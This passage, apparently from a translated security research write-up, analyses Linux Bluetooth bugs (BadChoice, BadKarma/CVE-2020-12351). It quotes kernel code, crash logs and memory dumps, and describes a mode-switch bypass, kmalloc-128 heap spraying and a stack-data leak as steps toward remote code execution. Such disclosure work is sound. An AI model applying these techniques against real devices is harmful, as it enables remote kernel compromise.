漏洞还不够强大,不能被转化成任意的读/写操作,而且似乎没有办法使用它来泄漏受害者的内存布局。原因是唯一可能被污染的成员是指向了循环列表的指针。顾名思义,这些数据结构是循环的,因此,如果不能确保它们最终指向开始的地方,我们就无法更改它们。当受害者的内存布局是随机的时候,很难满足这一要求。虽然内核中有一些资源是在静态地址上分配的,但它们的内容很可能是不可控的。因此,为了利用 BadVibes ,我们首先需要了解内存布局。更具体地说,我们需要泄漏受害者的一些内存地址,我们可以控制或至少预测其内容。 246 | 247 | 通常来说,信息泄漏是通过利用越界访问、未初始化变量、或者最近流行的侧信道/定时攻击来实现。后者可能很难实现,因为传输可能有抖动。相反,让我们重点关注前两个 bug 类,遍历所有可以将信息返回给攻击者的子例程,查看它们中是否存在泄露越界数据或未初始化的内存。 248 | 249 | 通过遍历所有 `a2mp_send()` 调用,我在 A2MP 协议的 `A2MP_GETINFO_REQ` 命令中发现了第二个漏洞。这个漏洞从 Linux 3.6 内核开始就已经存在,在默认启用 `CONFIG_BT_HS=y` 时是可以被利用的。 250 | 251 | 让我们来分析子例程 `a2mp_getinfo_req()` 是如何被 `A2MP_GETINFO_REQ` 命令调用的: 252 | 253 | ```c 254 | // https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/a2mp.c 255 | static int a2mp_getinfo_req(struct amp_mgr *mgr, struct sk_buff *skb, 256 | struct a2mp_cmd *hdr) 257 | { 258 | struct a2mp_info_req *req = (void *) skb->data; 259 | ... 260 | hdev = hci_dev_get(req->id); 261 | if (!hdev || hdev->dev_type != HCI_AMP) { 262 | struct a2mp_info_rsp rsp; 263 | 264 | rsp.id = req->id; 265 | rsp.status = A2MP_STATUS_INVALID_CTRL_ID; 266 | 267 | a2mp_send(mgr, A2MP_GETINFO_RSP, hdr->ident, sizeof(rsp), 268 | &rsp); 269 | 270 | goto done; 271 | } 272 | ... 273 | } 274 | ``` 275 | 276 | 该子例程旨在使用 HCI 设备 id 请求有关 AMP 控制器的信息。但是,如果它是无效的或者不是 HCI_AMP 类型的,则返回一个错误的路径,这意味着受害者向我们返回 `A2MP_STATUS_INVALID_CTRL_ID` 的状态。遗憾的是,结构 `a2mp_info_rsp` 包含的成员不仅仅是 id 和状态,正如我们所看到的,响应结构没有完全初始化。因此,16个字节的内核堆栈可能被泄露给攻击者,其中可能包含受害者的敏感数据: 277 | 278 | ```c 279 | // pahole -E -C a2mp_info_rsp --hex bluetooth.ko 280 | struct a2mp_info_rsp { 281 | /* typedef __u8 */ unsigned char id; /* 0 0x1 */ 282 | /* typedef __u8 */ unsigned char status; /* 0x1 0x1 */ 283 | /* typedef __le32 -> __u32 */ unsigned int total_bw; /* 0x2 0x4 */ 284 | /* typedef __le32 -> __u32 */ unsigned int max_bw; /* 0x6 0x4 */ 285 | /* typedef __le32 -> __u32 */ unsigned int min_latency; /* 0xa 0x4 */ 286 | /* typedef __le16 -> __u16 */ short unsigned int pal_cap; /* 0xe 0x2 */ 287 | /* typedef __le16 -> __u16 */ short unsigned int assoc_size; /* 0x10 0x2 */ 288 | 289 | /* size: 18, cachelines: 1, members: 7 */ 290 | /* last cacheline: 18 bytes */ 291 | } __attribute__((__packed__)); 292 | ``` 293 | 294 | 可以通过在发送 `A2MP_GETINFO_REQ` 之前发送有趣的命令填充堆栈帧来利用这个漏洞。在这里,有趣的命令是指那些将指针放在 `a2mp_getinfo_req()` 重用的同一堆栈帧中的命令。通过这样做,未初始化的变量可能最终包含先前压入堆栈的指针。 295 | 296 | 注意,使用 `CONFIG_INIT_STACK_ALL_PATTERN=y` 编译的内核不太容易受到这种攻击。例如,在 ChromeOS 上, BadChoice 只返回 0xAA 。然而,在流行的 Linux 发行版中,这个选项似乎没有默认启用。 297 | 298 | ## BadKarma:基于堆类型的混淆(CVE-2020-12351) 299 | 300 | 我在尝试触发 BadChoice 并确认其可利用性时发现了第三个漏洞。也就是说,受害者的机器意外地崩溃了,调用跟踪如下: 301 | 302 | ``` 303 | [ 445.440736] general protection fault: 0000 [#1] SMP PTI 304 | [ 445.440740] CPU: 4 PID: 483 Comm: kworker/u17:1 Not tainted 5.4.0-40-generic #44-Ubuntu 305 | [ 445.440741] Hardware name: Dell Inc. XPS 15 7590/0CF6RR, BIOS 1.7.0 05/11/2020 306 | [ 445.440764] Workqueue: hci0 hci_rx_work [bluetooth] 307 | [ 445.440771] RIP: 0010:sk_filter_trim_cap+0x6d/0x220 308 | [ 445.440773] Code: e8 18 e1 af ff 41 89 c5 85 c0 75 62 48 8b 83 10 01 00 00 48 85 c0 74 56 49 8b 4c 24 18 49 89 5c 24 18 4c 8b 78 18 48 89 4d b0 <41> f6 47 02 08 0f 85 41 01 00 00 0f 1f 44 00 00 49 8b 47 30 49 8d 309 | [ 445.440776] RSP: 0018:ffffa86b403abca0 EFLAGS: 00010286 310 | [ 445.440778] RAX: ffffffffc071cc50 RBX: ffff8e95af6d7000 RCX: 0000000000000000 311 | [ 445.440780] RDX: 0000000000000000 RSI: ffff8e95ac533800 RDI: ffff8e95af6d7000 312 | [ 445.440781] RBP: ffffa86b403abd00 R08: ffff8e95b452f0e0 R09: ffff8e95b34072c0 313 | [ 445.440782] R10: ffff8e95acd57818 R11: ffff8e95b456ae38 R12: ffff8e95ac533800 314 | [ 445.440784] R13: 0000000000000000 R14: 0000000000000001 R15: 30478b4800000208 315 | [ 445.440786] FS: 0000000000000000(0000) GS:ffff8e95b4500000(0000) knlGS:0000000000000000 316 | [ 445.440788] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 317 | [ 445.440789] CR2: 000055f371aa94a8 CR3: 000000022dc0a005 CR4: 00000000003606e0 318 | [ 445.440791] Call Trace: 319 | [ 445.440817] ? __l2cap_chan_add+0x88/0x1c0 [bluetooth] 320 | [ 445.440838] l2cap_data_rcv+0x351/0x510 [bluetooth] 321 | [ 445.440857] l2cap_data_channel+0x29f/0x470 [bluetooth] 322 | [ 445.440875] l2cap_recv_frame+0xe5/0x300 [bluetooth] 323 | [ 445.440878] ? skb_release_all+0x26/0x30 324 | [ 445.440896] l2cap_recv_acldata+0x2d2/0x2e0 [bluetooth] 325 | [ 445.440914] hci_rx_work+0x186/0x360 [bluetooth] 326 | [ 445.440919] process_one_work+0x1eb/0x3b0 327 | [ 445.440921] worker_thread+0x4d/0x400 328 | [ 445.440924] kthread+0x104/0x140 329 | [ 445.440927] ? process_one_work+0x3b0/0x3b0 330 | [ 445.440929] ? kthread_park+0x90/0x90 331 | [ 445.440932] ret_from_fork+0x35/0x40 332 | ``` 333 | 334 | 查看 `l2cap_data_rcv()`,我们可以看到当使用 ERTM (增强重传模式)或流模式(类似于 TCP )时,会调用 `sk_filter()`: 335 | 336 | ```c 337 | // https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/l2cap_core.c 338 | static int l2cap_data_rcv(struct l2cap_chan *chan, struct sk_buff *skb) 339 | { 340 | ... 341 | if ((chan->mode == L2CAP_MODE_ERTM || 342 | chan->mode == L2CAP_MODE_STREAMING) && sk_filter(chan->data, skb)) 343 | goto drop; 344 | ... 345 | } 346 | ``` 347 | 348 | 这确实是 A2MP 通道的情况(通道可以与网口进行比较): 349 | 350 | ```c 351 | // https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/a2mp.c 352 | static struct l2cap_chan *a2mp_chan_open(struct l2cap_conn *conn, bool locked) 353 | { 354 | struct l2cap_chan *chan; 355 | int err; 356 | 357 | chan = l2cap_chan_create(); 358 | if (!chan) 359 | return NULL; 360 | ... 361 | chan->mode = L2CAP_MODE_ERTM; 362 | ... 363 | return chan; 364 | } 365 | ... 366 | static struct amp_mgr *amp_mgr_create(struct l2cap_conn *conn, bool locked) 367 | { 368 | struct amp_mgr *mgr; 369 | struct l2cap_chan *chan; 370 | 371 | mgr = kzalloc(sizeof(*mgr), GFP_KERNEL); 372 | if (!mgr) 373 | return NULL; 374 | ... 375 | chan = a2mp_chan_open(conn, locked); 376 | if (!chan) { 377 | kfree(mgr); 378 | return NULL; 379 | } 380 | 381 | mgr->a2mp_chan = chan; 382 | chan->data = mgr; 383 | ... 384 | return mgr; 385 | } 386 | ``` 387 | 388 | 查看 `amp_mgr_create()`,可以清楚地看到错误在哪里。也就是说,`chan->data`属于类型 `struct amp_mgr`,而`sk_filter()`接受类型`struct sock`的参数,这意味着我们在设计上存在远程类型混淆。这种混淆是在 Linux 内核 4.8 中引入的,此后一直没有改变。 389 | 390 | # 利用 391 | 392 | BadChoice 漏洞可以与 BadVibes 、BadKarma 链接以实现 RCE 。在这篇博客中,我们将只关注使用 BadKarma 的方法,原因如下: 393 | 394 | - 不限于蓝牙 5。 395 | - 不需要受害者进行扫描。 396 | - 可以对特定设备进行有针对性的攻击。 397 | 398 | 另一方面,BadVibes 攻击只针对广播,因此只有一台机器可以被成功利用,而其他所有机器侦听相同的消息时只会崩溃。 399 | 400 | ## 绕过 BadKarma 401 | 402 | 讽刺的是,为了利用 BadKarma ,我们首先必须摆脱 BadKarma 。回想一下,在设计上存在一个类型混淆错误,只要 A2MP 通道被配置为 ERTM/流模式,我们就无法通过 `l2cap_data_rcv()` 到达 A2MP 子例程,而不触发 `sk_filter()` 中的 panic。 403 | 404 | 查看 `l2cap_data_channel()`,我们可以看到采用不同路由的唯一可能方法是将通道模式重新配置为 `L2CAP_MODE_BASIC`。这将“基本上”允许我们直接调用 A2MP 接收处理器: 405 | 406 | ```c 407 | // https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/l2cap_core.c 408 | static void l2cap_data_channel(struct l2cap_conn *conn, u16 cid, 409 | struct sk_buff *skb) 410 | { 411 | struct l2cap_chan *chan; 412 | 413 | chan = l2cap_get_chan_by_scid(conn, cid); 414 | ... 415 | switch (chan->mode) { 416 | ... 417 | case L2CAP_MODE_BASIC: 418 | /* If socket recv buffers overflows we drop data here 419 | * which is *bad* because L2CAP has to be reliable. 420 | * But we don't have any other choice. L2CAP doesn't 421 | * provide flow control mechanism. */ 422 | 423 | if (chan->imtu < skb->len) { 424 | BT_ERR("Dropping L2CAP data: receive buffer overflow"); 425 | goto drop; 426 | } 427 | 428 | if (!chan->ops->recv(chan, skb)) 429 | goto done; 430 | break; 431 | 432 | case L2CAP_MODE_ERTM: 433 | case L2CAP_MODE_STREAMING: 434 | l2cap_data_rcv(chan, skb); 435 | goto done; 436 | ... 437 | } 438 | ... 439 | } 440 | ``` 441 | 442 | 然而,是否可以重新配置信道模式呢?根据规范,A2MP 通道必须使用 ERTM 或流模式: 443 | 444 | > 蓝牙核心通过对在 AMP 上使用的任何 L2CAP 通道强制使用增强重传模式或流模式来维护高于核心的协议和配置文件的可靠性。 445 | > 446 | > 来源:https://www.bluetooth.org/DocMan/handlers/DownloadDoc.ashx?doc_id=421043 447 | 448 | 由于某些原因,这个事实在规范中没有描述,而 Linux 的实现实际上允许我们通过在 `L2CAP_CONF_UNACCEPT` 配置响应中封装所需的通道模式来从任何通道模式切换到 `L2CAP_MODE_BASIC`: 449 | 450 | ```c 451 | // https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/l2cap_core.c` 452 | static inline int l2cap_config_rsp(struct l2cap_conn *conn, 453 | struct l2cap_cmd_hdr *cmd, u16 cmd_len, 454 | u8 *data) 455 | { 456 | struct l2cap_conf_rsp *rsp = (struct l2cap_conf_rsp *)data; 457 | ... 458 | scid = __le16_to_cpu(rsp->scid); 459 | flags = __le16_to_cpu(rsp->flags); 460 | result = __le16_to_cpu(rsp->result); 461 | ... 462 | chan = l2cap_get_chan_by_scid(conn, scid); 463 | if (!chan) 464 | return 0; 465 | 466 | switch (result) { 467 | ... 468 | case L2CAP_CONF_UNACCEPT: 469 | if (chan->num_conf_rsp <= L2CAP_CONF_MAX_CONF_RSP) { 470 | ... 471 | result = L2CAP_CONF_SUCCESS; 472 | len = l2cap_parse_conf_rsp(chan, rsp->data, len, 473 | req, sizeof(req), &result); 474 | ... 475 | } 476 | fallthrough; 477 | ... 478 | } 479 | ... 480 | } 481 | ``` 482 | 483 | 这个函数调用子例程 `l2cap_parse_conf_rsp()`。在这里,如果指定了选项类型 `L2CAP_CONF_RFC`,并且当前的通道模式不是 `L2CAP_MODE_BASIC`,那么可以将其更改为我们想要的: 484 | 485 | ```c 486 | // https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/l2cap_core.c 487 | static int l2cap_parse_conf_rsp(struct l2cap_chan *chan, void *rsp, int len, 488 | void *data, size_t size, u16 *result) 489 | { 490 | ... 491 | while (len >= L2CAP_CONF_OPT_SIZE) { 492 | len -= l2cap_get_conf_opt(&rsp, &type, &olen, &val); 493 | if (len < 0) 494 | break; 495 | 496 | switch (type) { 497 | ... 498 | case L2CAP_CONF_RFC: 499 | if (olen != sizeof(rfc)) 500 | break; 501 | memcpy(&rfc, (void *)val, olen); 502 | ... 503 | break; 504 | ... 505 | } 506 | } 507 | 508 | if (chan->mode == L2CAP_MODE_BASIC && chan->mode != rfc.mode) 509 | return -ECONNREFUSED; 510 | 511 | chan->mode = rfc.mode; 512 | ... 513 | } 514 | ``` 515 | 516 | 这里自然会有这样的问题:我们是否需要先从受害者那里接收配置请求,然后才能发回配置响应?这似乎是协议的一个弱点——答案是否定的。此外,无论受害者与我们协商什么,我们都可以返回一个 `L2CAP_CONF_UNACCEPT` 响应,受害者会很高兴地接受我们的建议。 517 | 518 | 使用配置响应旁路,我们现在能够访问 A2MP 命令并利用 BadChoice 检索所需的所有信息(请参阅后面的部分)。一旦我们准备触发类型混淆,我们可以简单地通过断开和连接通道来重新创建 A2MP 通道,并按照 BadKarma 的要求将通道模式设置回 ERTM 。 519 | 520 | ## 探索 sk_filter() 521 | 522 | 正如我们所理解的,BadKarma 的问题在于一个 `struct amp_mgr` 对象被传递给了 `sk_filter()`,而一个 `struct sock` 对象则被期望传递给 `sk_filter()`。换句话说,`struct sock` 中的字段错误地映射到 `struct amp_mgr` 中的字段。因此,这可能会导致对无效指针的解引用,并最终导致 panic 。回顾之前的 panic 日志,这正是发生的事情,也是发现 BadKarma 的主要原因。 523 | 524 | 我们是否可以控制指针解引用,或者控制 `struct amp_mgr` 中的其他成员来影响 `sk_filter()` 的代码流?让我们看看 `sk_filter()` 并跟踪 `struct sock *sk` 的使用,以了解在这个子例程中哪些成员是相关的。 525 | 526 | ```c 527 | // https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/filter.h 528 | static inline int sk_filter(struct sock *sk, struct sk_buff *skb) 529 | { 530 | return sk_filter_trim_cap(sk, skb, 1); 531 | } 532 | // https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/core/filter.c 533 | int sk_filter_trim_cap(struct sock *sk, struct sk_buff *skb, unsigned int cap) 534 | { 535 | int err; 536 | struct sk_filter *filter; 537 | 538 | /* 539 | * If the skb was allocated from pfmemalloc reserves, only 540 | * allow SOCK_MEMALLOC sockets to use it as this socket is 541 | * helping free memory 542 | */ 543 | if (skb_pfmemalloc(skb) && !sock_flag(sk, SOCK_MEMALLOC)) { 544 | NET_INC_STATS(sock_net(sk), LINUX_MIB_PFMEMALLOCDROP); 545 | return -ENOMEM; 546 | } 547 | err = BPF_CGROUP_RUN_PROG_INET_INGRESS(sk, skb); 548 | if (err) 549 | return err; 550 | 551 | err = security_sock_rcv_skb(sk, skb); 552 | if (err) 553 | return err; 554 | 555 | rcu_read_lock(); 556 | filter = rcu_dereference(sk->sk_filter); 557 | if (filter) { 558 | struct sock *save_sk = skb->sk; 559 | unsigned int pkt_len; 560 | 561 | skb->sk = sk; 562 | pkt_len = bpf_prog_run_save_cb(filter->prog, skb); 563 | skb->sk = save_sk; 564 | err = pkt_len ? pskb_trim(skb, max(cap, pkt_len)) : -EPERM; 565 | } 566 | rcu_read_unlock(); 567 | 568 | return err; 569 | } 570 | ``` 571 | 572 | `sk` 的第一次使用是在 `sock_flag()` 中,尽管该函数只是检查一些标志,而且只有在 `skb_pfmemalloc()` 返回 true 时才会发生。相反,让我们看看 `BPF_CGROUP_RUN_PROG_INET_INGRESS()`,看看它对套接字结构做了什么: 573 | 574 | ```c 575 | // https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/bpf-cgroup.h 576 | #define BPF_CGROUP_RUN_PROG_INET_INGRESS(sk, skb) \ 577 | ({ \ 578 | int __ret = 0; \ 579 | if (cgroup_bpf_enabled) \ 580 | __ret = __cgroup_bpf_run_filter_skb(sk, skb, \ 581 | BPF_CGROUP_INET_INGRESS); \ 582 | \ 583 | __ret; \ 584 | }) 585 | // https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/kernel/bpf/cgroup.c 586 | int __cgroup_bpf_run_filter_skb(struct sock *sk, 587 | struct sk_buff *skb, 588 | enum bpf_attach_type type) 589 | { 590 | ... 591 | if (!sk || !sk_fullsock(sk)) 592 | return 0; 593 | 594 | if (sk->sk_family != AF_INET && sk->sk_family != AF_INET6) 595 | return 0; 596 | ... 597 | } 598 | ``` 599 | 600 | 类似地,`sk_fullsock()` 也会检查一些标志,但不会执行任何有趣的操作。进一步,注意 `sk->sk_family` 必须是 `AF_INET=2` 或` AF_INET6=10` 才能继续。这个字段位于 `struct sock` 中 0x10 的偏移量: 601 | 602 | ```c 603 | // pahole -E -C sock --hex bluetooth.ko 604 | struct sock { 605 | struct sock_common { 606 | ... 607 | short unsigned int skc_family; /* 0x10 0x2 */ 608 | ... 609 | } __sk_common; /* 0 0x88 */ 610 | ... 611 | struct sk_filter * sk_filter; /* 0x110 0x8 */ 612 | ... 613 | /* size: 760, cachelines: 12, members: 88 */ 614 | /* sum members: 747, holes: 4, sum holes: 8 */ 615 | /* sum bitfield members: 40 bits (5 bytes) */ 616 | /* paddings: 1, sum paddings: 4 */ 617 | /* forced alignments: 1 */ 618 | /* last cacheline: 56 bytes */ 619 | } __attribute__((__aligned__(8))); 620 | ``` 621 | 622 | 查看 `struct amp_mgr` 中的偏移量 0x10,我们意识到该字段映射到 `struct l2cap_conn` 指针: 623 | 624 | ```c 625 | // pahole -E -C amp_mgr --hex bluetooth.ko 626 | struct amp_mgr { 627 | ... 628 | struct l2cap_conn * l2cap_conn; /* 0x10 0x8 */ 629 | ... 630 | /* size: 112, cachelines: 2, members: 11 */ 631 | /* sum members: 110, holes: 1, sum holes: 2 */ 632 | /* last cacheline: 48 bytes */ 633 | }; 634 | ``` 635 | 636 | 由于这是一个指向与分配大小(最小32字节)对齐的堆对象的指针,这意味着该指针的较低字节不能有 `__cgroup_bpf_run_filter_skb()` 所要求的值 2 或 10。经查实,我们知道子例程总是返回 0,无论其他字段的值是什么。类似地,子例程 `security_sock_rcv_skb()` 要求相同的条件,否则返回 0。 637 | 638 | 这使得 `sk->sk_filter` 成为惟一可能被污染的成员。稍后我们将看到控制结构 `sk_filter` 是多么有用,但首先要注意,`sk_filter` 位于偏移量 0x110 ,而结构 `amp_mgr` 的大小只有 112=0x70 字节。这不是我们无法控制的吗?答案是未知的 —— 通常它不在我们的控制范围内,但是如果我们有方法来构造堆,那么完全控制指针可能会更容易。具体来说,结构 `amp_mgr` 的大小为 112 字节(在 65 到 128 之间),因此它是在 `kmalloc-128 slab` 中分配的。通常,slab 中的内存块不包含元数据,比如前面的块头,因为目标是最小化碎片。因此,内存块是连续的,为了控制指针在偏移量 0x110 处,我们必须实现一个堆群,其中我们想要的指针位于结构 `amp_mgr` 之后的第二个块中偏移量 0x10 的位置。 639 | 640 | ## 寻找堆原语 641 | 642 | 为了构造 `kmalloc-128 slab`,我们需要一个可以分配大小在 65-128 字节之间的内存(最好是可控的)的命令。与其他 L2CAP 实现不同,Linux 实现中堆的使用非常低。在 net/bluetooth/ 中快速搜索 `kmalloc()` 或 `kzalloc()` 不会得到任何有用的结果--或者至少没有任何可以控制或跨多个命令存在的东西。我们想要的是一个可以分配任意大小内存的原语,将攻击者控制的数据复制到其中,并保留它,直到我们决定释放它。 643 | 644 | 这听起来很像 `kmemdup()`,对吗?令人惊讶的是, A2MP 协议提供给我们的正是这样一个原语。也就是说,我们可以发出 `A2MP_GETAMPASSOC_RSP` 命令来使用 `kmemdup()` 来复制内存,并将内存地址存储在一个控制结构中: 645 | 646 | ```c 647 | // https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/a2mp.c 648 | static int a2mp_getampassoc_rsp(struct amp_mgr *mgr, struct sk_buff *skb, 649 | struct a2mp_cmd *hdr) 650 | { 651 | ... 652 | u16 len = le16_to_cpu(hdr->len); 653 | ... 654 | assoc_len = len - sizeof(*rsp); 655 | ... 656 | ctrl = amp_ctrl_lookup(mgr, rsp->id); 657 | if (ctrl) { 658 | u8 *assoc; 659 | 660 | assoc = kmemdup(rsp->amp_assoc, assoc_len, GFP_KERNEL); 661 | if (!assoc) { 662 | amp_ctrl_put(ctrl); 663 | return -ENOMEM; 664 | } 665 | 666 | ctrl->assoc = assoc; 667 | ctrl->assoc_len = assoc_len; 668 | ctrl->assoc_rem_len = assoc_len; 669 | ctrl->assoc_len_so_far = 0; 670 | 671 | amp_ctrl_put(ctrl); 672 | } 673 | ... 674 | } 675 | ``` 676 | 677 | 为了让 `amp_ctrl_lookup()` 返回一个控制结构,我们必须首先使用 `A2MP_GETINFO_RSP` 命令将它添加到列表中: 678 | 679 | ```c 680 | // https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/a2mp.c 681 | static int a2mp_getinfo_rsp(struct amp_mgr *mgr, struct sk_buff *skb, 682 | struct a2mp_cmd *hdr) 683 | { 684 | struct a2mp_info_rsp *rsp = (struct a2mp_info_rsp *) skb->data; 685 | ... 686 | ctrl = amp_ctrl_add(mgr, rsp->id); 687 | ... 688 | } 689 | ``` 690 | 691 | 这几乎是完美的堆原语,因为大小和内容可以是任意的!唯一的缺点是没有方便的原语来释放分配。释放它们的唯一方法似乎是关闭 HCI 连接,这是一个相对缓慢的操作。然而,为了理解如何以一种受控的方式释放分配(例如,释放每一秒的分配以产生漏洞),我们需要密切关注内存管理。注意,当我们在 `ctrl->assoc` 中存储一个新的内存地址时,我们不会释放之前存储在那里的内存块。相反,当我们覆盖它时,这个内存块内容会丢失。为了利用这种行为,我们可以每秒钟用不同大小的分配覆盖一次 `ctrl->assoc`,一旦我们关闭 HCI 连接,另一半将被释放,而我们覆盖的那些仍然被分配。 692 | 693 | ## 控制越界读取 694 | 695 | 为什么我们要用堆原语呢?回想一下,我们的想法是塑造堆并实现一个群,其中我们控制的内存块位于距离结构体 `amp_mgr` 对象一个块的位置。通过这样做,我们可以控制偏移 0x110 处的值,它表示 `sk_filter` 指针。因此,当触发类型混淆时,可以对任意指针解引用。 696 | 697 | 下面的基本技术在使用了 SLUB 分配器的 Ubuntu 上非常可靠: 698 | 699 | - 分配大量128字节大小的对象来填充 `kmalloc-128 slab`。 700 | - 创建一个新的 A2MP 通道,并希望 `struct amp_mgr` 对象与被喷射的对象相邻。 701 | - 触发类型混淆并实现受控的越界读取。 702 | 703 | 为了验证我们的堆喷射是否成功,我们可以首先查询 `/proc/slabinfo` 来获取受害者机器上的 `kmalloc-128` 的信息: 704 | 705 | ```shell 706 | $ sudo cat /proc/slabinfo 707 | slabinfo - version: 2.1 708 | # name : tunables : slabdata 709 | ... 710 | kmalloc-128 1440 1440 128 32 1 : tunables 0 0 0 : slabdata 45 45 0 711 | ... 712 | ``` 713 | 714 | 然后,在堆喷射之后,我们可以再次查询,发现 `active_objs` 增加了: 715 | 716 | ```shell 717 | $ sudo cat /proc/slabinfo 718 | ... 719 | kmalloc-128 1760 1760 128 32 1 : tunables 0 0 0 : slabdata 55 55 0 720 | ... 721 | ``` 722 | 723 | 在上面的例子中,我们喷射了 320 个对象。现在,如果我们设法在这些新喷射的对象周围分配 `struct amp_mgr` 对象,我们可能会在试图对受控指针(观察RAX的值)进行解引用时遇到一个 panic: 724 | 725 | ``` 726 | [ 58.881623] general protection fault: 0000 [#1] SMP PTI 727 | [ 58.881639] CPU: 3 PID: 568 Comm: kworker/u9:1 Not tainted 5.4.0-48-generic #52-Ubuntu 728 | [ 58.881645] Hardware name: Acer Aspire E5-575/Ironman_SK , BIOS V1.04 04/26/2016 729 | [ 58.881705] Workqueue: hci0 hci_rx_work [bluetooth] 730 | [ 58.881725] RIP: 0010:sk_filter_trim_cap+0x65/0x220 731 | [ 58.881734] Code: 00 00 4c 89 e6 48 89 df e8 b8 c5 af ff 41 89 c5 85 c0 75 62 48 8b 83 10 01 00 00 48 85 c0 74 56 49 8b 4c 24 18 49 89 5c 24 18 <4c> 8b 78 18 48 89 4d b0 41 f6 47 02 08 0f 85 41 01 00 00 0f 1f 44 732 | [ 58.881740] RSP: 0018:ffffbbccc10d3ca0 EFLAGS: 00010202 733 | [ 58.881748] RAX: 4343434343434343 RBX: ffff96da38f70300 RCX: 0000000000000000 734 | [ 58.881753] RDX: 0000000000000000 RSI: ffff96da62388300 RDI: ffff96da38f70300 735 | [ 58.881758] RBP: ffffbbccc10d3d00 R08: ffff96da38f67700 R09: ffff96da68003340 736 | [ 58.881763] R10: 00000000000301c0 R11: 8075f638da96ffff R12: ffff96da62388300 737 | [ 58.881767] R13: 0000000000000000 R14: 0000000000000001 R15: 0000000000000008 738 | [ 58.881774] FS: 0000000000000000(0000) GS:ffff96da69380000(0000) knlGS:0000000000000000 739 | [ 58.881780] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 740 | [ 58.881785] CR2: 000055f861e4bd20 CR3: 000000024c80a001 CR4: 00000000003606e0 741 | [ 58.881790] Call Trace: 742 | [ 58.881869] ? __l2cap_chan_add+0x88/0x1c0 [bluetooth] 743 | [ 58.881938] l2cap_data_rcv+0x351/0x510 [bluetooth] 744 | [ 58.881995] l2cap_data_channel+0x29f/0x470 [bluetooth] 745 | [ 58.882054] l2cap_recv_frame+0xe5/0x300 [bluetooth] 746 | [ 58.882067] ? __switch_to_asm+0x40/0x70 747 | [ 58.882124] l2cap_recv_acldata+0x2d2/0x2e0 [bluetooth] 748 | [ 58.882174] hci_rx_work+0x186/0x360 [bluetooth] 749 | [ 58.882187] process_one_work+0x1eb/0x3b0 750 | [ 58.882197] worker_thread+0x4d/0x400 751 | [ 58.882207] kthread+0x104/0x140 752 | [ 58.882215] ? process_one_work+0x3b0/0x3b0 753 | [ 58.882223] ? kthread_park+0x90/0x90 754 | [ 58.882233] ret_from_fork+0x35/0x40 755 | ``` 756 | 757 | 检查受害者机器的 RDI 的内存地址,我们可以看到: 758 | 759 | ``` 760 | $ sudo gdb /boot/vmlinuz /proc/kcore 761 | (gdb) x/40gx 0xffff96da38f70300 762 | 0xffff96da38f70300: 0xffff96da601e7d00 0xffffffffc0d38760 763 | 0xffff96da38f70310: 0xffff96da60de2600 0xffff96da61c13400 764 | 0xffff96da38f70320: 0x0000000000000000 0x0000000000000001 765 | 0xffff96da38f70330: 0x0000000000000000 0x0000000000000000 766 | 0xffff96da38f70340: 0xffff96da38f70340 0xffff96da38f70340 767 | 0xffff96da38f70350: 0x0000000000000000 0x0000000000000000 768 | 0xffff96da38f70360: 0xffff96da38f70360 0xffff96da38f70360 769 | 0xffff96da38f70370: 0x0000000000000000 0x0000000000000000 770 | 0xffff96da38f70380: 0xffffffffffffffff 0xffffffffffffffff 771 | 0xffff96da38f70390: 0xffffffffffffffff 0xffffffffffffffff 772 | 0xffff96da38f703a0: 0xffffffffffffffff 0xffffffffffffffff 773 | 0xffff96da38f703b0: 0xffffffffffffffff 0xffffffffffffffff 774 | 0xffff96da38f703c0: 0xffffffffffffffff 0xffffffffffffffff 775 | 0xffff96da38f703d0: 0xffffffffffffffff 0xffffffffffffffff 776 | 0xffff96da38f703e0: 0xffffffffffffffff 0xffffffffffffffff 777 | 0xffff96da38f703f0: 0xffffffffffffffff 0xffffffffffffffff 778 | 0xffff96da38f70400: 0x4141414141414141 0x4242424242424242 779 | 0xffff96da38f70410: 0x4343434343434343 0x4444444444444444 780 | 0xffff96da38f70420: 0x4545454545454545 0x4646464646464646 781 | 0xffff96da38f70430: 0x4747474747474747 0x4848484848484848 782 | ``` 783 | 784 | 0xffff96da38f70410 的值表明 `sk_filter()` 确实试图在 spray 的偏移 0x10 处解除对指针的引用,从 `struct amp_mgr` 的角度来看,该指针的偏移 0x110 处。Bingo! 785 | 786 | ## 内存布局泄露 787 | 788 | 现在,我们有了构造堆的方法,并为 BadKarma 攻击做好准备,因此,我们可以完全控制 `sk_filter` 指针。问题是,我们应该把它指向哪里?为了使该原语有用,我们必须将其指向一个我们可以控制其内容的内存地址。这就是 BadChoice 漏洞发挥作用的地方。这个漏洞有可能暴露内存布局,并帮助我们实现控制地址已知的内存块的目标。 789 | 790 | 如前所述,为了利用未初始化的堆栈变量 bug ,我们必须首先发送一些不同的命令,用一些有趣的数据填充堆栈帧(例如指向堆的指针或指向与 ROP 链相关的 .text 段)。然后,我们可以发送脆弱的命令来接收数据。 791 | 792 | 通过尝试一些随机的 L2CAP 命令,我们可以观察到,通过在没有任何特殊命令的情况下触发 BadChoice ,一个指向内核映像的 .text 段指针可能会泄露。此外,通过发送 `L2CAP_CONF_RSP` 并尝试提前将 A2MP 通道配置到`L2CAP_MODE_ERTM`,可能会泄露位于偏移量 0x110 的 `struct l2cap_chan` 对象的地址。该对象的大小为 792 字节,在 `kmalloc-1024 slab` 中分配。 793 | 794 | ```c 795 | // pahole -E -C l2cap_chan --hex bluetooth.ko 796 | struct l2cap_chan { 797 | ... 798 | struct delayed_work { 799 | struct work_struct { 800 | /* typedef atomic_long_t -> atomic64_t */ struct { 801 | 